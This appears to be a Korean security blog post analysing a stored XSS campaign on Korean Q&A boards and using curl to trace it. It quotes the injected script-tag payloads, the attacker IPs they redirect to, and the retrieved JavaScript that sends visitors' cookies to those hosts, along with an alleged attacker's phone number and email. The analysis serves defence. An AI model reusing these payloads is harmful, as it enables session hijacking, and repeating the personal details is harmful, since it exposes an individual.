운영체제 깨알지식 웹핵






#문의드려요 캠페인 #자바스크립트 #Javascript #악성코드 배포 #악성코드 경유지 #악성코드 유포지 #curl #크로스사이트스크립트 #XSS #세션탈취 #HTTP 세션탈취 #HTTP Session Hijacking #Session ID Hijacking #document.cookie

[2019년 12월 12일]

"문의드려요 캠페인"을 분석해보며 curl 사용법 배우기

요약

  • 텍스트 기반 URL 열람 도구인 curl을 이용하여 자바스크립트를 실행하지 않고 단일 URL 접근
  • XSS 공격으로 의심되는 사례를 통해 curl의 간단한 사용법 숙지

구글링으로 공격 훑어보기

보안관제센터에서 침해사고 조사 요청이 있었다. 담당 서비스 하나가 "악성코드 경유지로 악용되는 정확이 포착되었다"고 한다. 해당 사이트의 HTML 소스를 보니 단순한 침해시도로 판단되었다. HTML을 조금만 이해해도 공격시도가 실패한 것을 확인할 수 있다. 명백한 오탐(誤探; false positive)이다.

보안관제센터가 왜 이렇게 과민반응을 한 것인지 궁금했다. 비슷한 침해시도가 있는 지 구글 검색엔진을 이용하여 대략적으로 파악해보았다.

google, q&a campaign
[ 구글에서 문의 드려요 script http를 검색한 결과 ]

위 그림은 구글에서 문의 드려요 script http를 검색한 결과를 갈무리한 것이다. 검색 결과에서 HTML을 문자 그대로 출력하는 곳은 침해시도가 실패한 것이다. 대부분 공격에 실패한 침해도시도들이었다. 그러나 일부 누리집의 Q&A 본문에서는 저장형 XSS가 성공한 경우도 있었다.

검색어를 "문의 드려요 script src"로 제한하였더니 결과가 약 4000건이다. 이 결과들 대략 훑어보았더니 다음과 같은 특징이 나타난다.

  • 공격 대상 분석 1: GnuBoard5, KimsQ RB 1.2.2, 쇼핑몰 등 기반 CMS는 가리지 않고, 익명으로 쓸 수 있는 모든 게시판에 대해서 공격을 시도
  • 공격 대상 분석 2: 한국어 누리집 만을 대상으로 하였음
  • 작성자: 김현주, 김정아, dlfd**
  • 전호번호: 01023336789 또는 010-2333-6789
  • 이메일: salove@gmail.com
  • IP 주소: 221.163.72.202 (KT 보유 IP주소), 211.107.235.77 (KT 보유 IP주소)
  • 게시물 등록 기간: 2017년 12월 ~ 2019년 12월 현재
  • 제목(다수): 문의 드려요 <script src="http://uee.me/dH5G"></script>
  • 내용:
    
    문의 드려요
    
     
    
    <script src="http://uee.me/dH5G"></script>
    
    

제목은 위의 예시가 가장 많은 데 아래와 같이 약간씩 달라지기도 한다. ("문의드려요 캠페인"이 기계적인 공격이 아니라 사람이 직접 입력할 수도 있다는 의심이 드는 부분)

  • 견적문의 드려요 <script src="http://u6.gg/aHw3R"></script>
  • 수강신청 문의드려요 <script src="http://u6.gg/f8fDh"><script>
  • 질문잇어요 <script src="http://c7.gg/fEP7s"><script>
  • 상담 및 예약 - 문의 드려요 <script src="http://kks.me/a3Lh9 ...
  • Q&A - 문의 드려요 <script src="http://c7.gg/fEP7s"></script>

구글에서 "http://u6.gg/f8fDh" 등의 소스 단축 URL을 검색해 본 결과 거의 모두가 한국어 홈페이지서만 발견되었다.

자바스크립트 소스로 지정된 단축 URL 분석

대부분의 단축 URL은 효력을 상실했거나 단축 URL이 지정하는 원래 URL이 사라진 상태이다. 이러한 경우가 대다수였다.

root@kali:~# curl -I http://kks.me/a3Lh9
HTTP/1.1 404 Not Found
Date: Thu, 12 Dec 2019 13:54:00 GMT
Content-Type: text/html
Content-Length: 3312
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
ETag: "5d42e146-cf0"

root@kali:~# 

원 URL이 사라진 경우에는 위와 같이 서버의 HTTP 응답이 "404 Not Found"로 전달된다.

root@kali:~# curl -I http://c7.gg/fEP7s
HTTP/1.1 302 Moved Temporarily
Server: Tengine
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: keep-alive
Date: Thu, 12 Dec 2019 13:55:28 GMT
Location: http://27.255.64.93/ys.js
Ali-Swift-Global-Savetime: 1576158928
Via: cache50.l2cn1824[7,302-0,M], cache4.l2cn1824[8,0], kunlun9.cn198[42,302-0,M], kunlun7.cn198[43,0]
X-Cache: MISS TCP_MISS dirn:-2:-2
X-Swift-SaveTime: Thu, 12 Dec 2019 13:55:28 GMT
X-Swift-CacheTime: 0
Timing-Allow-Origin: *
EagleId: 7af6142815761589286941505e

root@kali:~# curl http://27.255.64.93/ys.js
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://27.255.64.93/index.php?cookie='+encodeURIComponent(document.cookie);root@kali:~# 

유포지는 "http://27.255.64.93/ys.js"이고 ys.js 자바스크립트는 게시판 사이트 접속자(주로 관리자)의 쿠키값(document.cookie)을 탈취하려는 코드이다. 전형적인 HTTP 세션탈취 공격(HTTP Session Hijacking 또는 Session ID Hijacking)이다.

또 다른 단축 URL을 살펴보자.

root@kali:~# curl -I http://c7.gg/f9cv3
HTTP/1.1 302 Moved Temporarily
Server: Tengine
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: keep-alive
Date: Thu, 12 Dec 2019 14:21:26 GMT
Location: http://91.204.225.183/fa.js
Ali-Swift-Global-Savetime: 1576160486
Via: cache20.l2cn1824[6,302-0,M], cache23.l2cn1824[7,0], kunlun6.cn198[15,302-0,M], kunlun9.cn198[16,0]
X-Cache: MISS TCP_MISS dirn:-2:-2
X-Swift-SaveTime: Thu, 12 Dec 2019 14:21:26 GMT
X-Swift-CacheTime: 0
Timing-Allow-Origin: *
EagleId: 7af6142a15761604862253059e

root@kali:~# curl http://91.204.225.183/fa.js
curl: (7) Failed to connect to 91.204.225.183 port 80: 연결이 거부됨
root@kali:~# 

단축 URL은 작동을 하고 있지만 악성코드 유포지(http://91.204.225.183/fa.js)가 차단된 것을 볼 수 있다.

또 다른 악성코드 유포지의 단축 URL 두 개를 살펴보자.

root@kali:~# curl -I http://u6.gg/sLyPP
HTTP/1.1 302 Moved Temporarily
Server: Tengine
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: keep-alive
Date: Thu, 12 Dec 2019 14:25:41 GMT
Location: http://154.202.198.232/kz.js
Ali-Swift-Global-Savetime: 1576160741
Via: cache41.l2cn1827[5,302-0,M], cache28.l2cn1827[6,0], kunlun4.cn198[13,302-0,M], kunlun7.cn198[15,0]
X-Cache: MISS TCP_MISS dirn:-2:-2
X-Swift-SaveTime: Thu, 12 Dec 2019 14:25:41 GMT
X-Swift-CacheTime: 0
Timing-Allow-Origin: *
EagleId: 7af6142815761607416244362e

root@kali:~# curl http://154.202.198.232/kz.js
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://154.202.198.232/index.php?cookie='+encodeURIComponent(document.cookie);root@kali:~#
root@kali:~# curl -I http://c7.gg/fEX57
HTTP/1.1 302 Moved Temporarily
Server: Tengine
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: keep-alive
Date: Thu, 12 Dec 2019 14:41:26 GMT
Location: http://27.255.64.33/h2.js
Ali-Swift-Global-Savetime: 1576161686
Via: cache32.l2cn1824[6,302-0,M], cache32.l2cn1824[7,0], kunlun6.cn198[51,302-0,M], kunlun9.cn198[54,0]
X-Cache: MISS TCP_MISS dirn:-2:-2
X-Swift-SaveTime: Thu, 12 Dec 2019 14:41:26 GMT
X-Swift-CacheTime: 0
Timing-Allow-Origin: *
EagleId: 7af6142a15761616861641780e

root@kali:~# curl -v http://27.255.64.33/h2.js
*   Trying 27.255.64.33:80...
* TCP_NODELAY set
* Connected to 27.255.64.33 (27.255.64.33) port 80 (#0)
> GET /h2.js HTTP/1.1
> Host: 27.255.64.33
> User-Agent: curl/7.66.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Thu, 12 Dec 2019 14:42:26 GMT
< Server: Apache/1.3.33 (Win32) PHP/4.4.1
< Last-Modified: Sat, 13 Jul 2019 12:48:59 GMT
< ETag: "0-a1-5d29d33b"
< Accept-Ranges: bytes
< Content-Length: 161
< Content-Type: application/x-javascript
< 
var img = document.createElement('img');
img.width = 0;
img.height = 0;
* Connection #0 to host 27.255.64.33 left intact
img.src = 'http://27.255.64.33/index.php?cookie='+encodeURIComponent(document.cookie);root@kali:~#  
root@kali:~# 

자바스크립트 유포지 정보 요약

지금까지 파악한 바를 정리하면 다음과 같다.

  • 현재 까지 3개의 IP주소가 유포지로 악용되고 있으며 과거 유포지 1개는 작동하지 않음
    1. 27.255.64.93: 국내 IP주소. ehostidc.co.kr에 호스팅한 장비일 듯.
    2. 27.255.64.33: 국내 IP주소. ehostidc.co.kr에 호스팅한 장비일 듯.
    3. 154.202.198.232: 미국의 Cloud Innovation이 관리하는 IP주소로 나타남.
    4. 91.204.225.183: 국내 IP 주소. HDTIDC 보유 IP주소. (현재 작동은 하지 않음)
  • 2017년 부터 한국어 누리집의 질의응답 게시판에 대대적인 XSS 전역(戰役)이 진행 중
  • 유포지에서 퍼뜨리는 코든 모두 세션 탈취용 자바스크립트였다.
    • CMS를 특정하지도 않고 익명 게시판에는 성공여부에 상관없이 무작위로 세션탈취 공격을 감행하고 있어서 이 캠페인의 목적을 짐작하기 어려움
  • 한국어가 가능할 것으로 보이는 공격자가 한글 누리집만을 공격하고 있으므로 내국인의 공격으로 추정 (글쓴이 IP주소를 출력하는 게시판 2개에서 작성자 IP주소는 모두 국내 소재)
  • 누리집을 특정하지 않고 무작위로 XSS 공격을 수행하는 이런 대형 전역(戰役; campaign)은 매우 드문 사례로, 무슨 목적인지 큰 궁금증을 자아내게 한다.
  • 자동화 공격이 아니라 수동공격으로 보이는데 그 수준으로 보아서는... "2년 동안이나 크로스사이트스크립트(XSS) 공격 실습을 하지는 않을 텐데..."

이 모든 작업은 VPN 또는 토르 네트워크 상에서 수행할 것을 권고함

맺음말

curl을 이용하면 HTTP 통시에 필요한 모든 정보를 열람할 수 있으므로 취약점 분석에서도 매우 유용한 도구이다. 또한 Location: 헤더와 자바스크립트를 처리하지 않으므로 갯수가 적은 순수한 HTTP 통신 분석에 편리하다. 다만, 범위가 넓게 분석하고 싶을 때는 OWASP-ZAP이나 Burpsuite를 웹 브라우저와 연동하여 HTTP 통신 기록을 열람하는 것을 추천한다.

[처음 작성한 날: 2019.12.12]    [마지막으로 고친 날: 2019.12.14] 


< 이전 글 : 무선공유기를 사용하거나 사설 IP 주소를 할당받는 환경에서 공인 IP 주소 확인하기 (2019.12.13)

> 다음 글 : Kali Linux와 Linux Mint 터미널의 고정폭글꼴을 "은글꼴 - 타자체"로 변경하기 (2019.12.12)


크리에이티브 커먼즈 라이선스 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다.
잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다.
웹핵.다이누.넷 대문 깨알지식 대문